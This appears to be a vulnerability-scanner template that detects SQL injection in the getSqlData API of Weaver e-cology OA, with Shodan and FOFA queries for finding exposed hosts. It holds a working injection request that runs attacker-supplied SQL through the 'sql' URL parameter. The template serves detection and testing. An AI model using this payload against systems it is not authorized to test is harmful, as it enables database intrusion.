id: weaver-ecology-getsqldata-sqli

info:
  name: Weaver E-Cology `getsqldata` - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    When the getSqlData interface of the Panwei e-cology OA system uses the mssql database, the built-in SQL statements are not spliced strictly, resulting in a SQL injection vulnerability.
  reference:
    - https://github.com/Wrin9/weaverOA_sql_RCE/blob/14cca7a6da7a4a81e7c7a7016cb0da75b8b290bc/weaverOA_sql_injection_POC_EXP.py#L46
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
    product: e-cology
    vendor: weaver
  tags: ecology,weaver,oa,sqli,vuln

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql=select%20substring(sys.fn_sqlvarbasetostr(hashbytes('MD5','{{num}}')),3,32)"
      - "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql="

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: word
        part: body
        words:
          - '{"api_status":'
          - '"status":true}'
        condition: and
# digest: 4b0a00483046022100b44064e8546fe4d011f6052b52c1aaa657a312f31e96735f3ffd55df9d754159022100adf14eb0b8538859bf2f8ff0859e119934abd630abfd513ab795fff3b1efb5bd:922c64590222798bb761d5b6d8e72950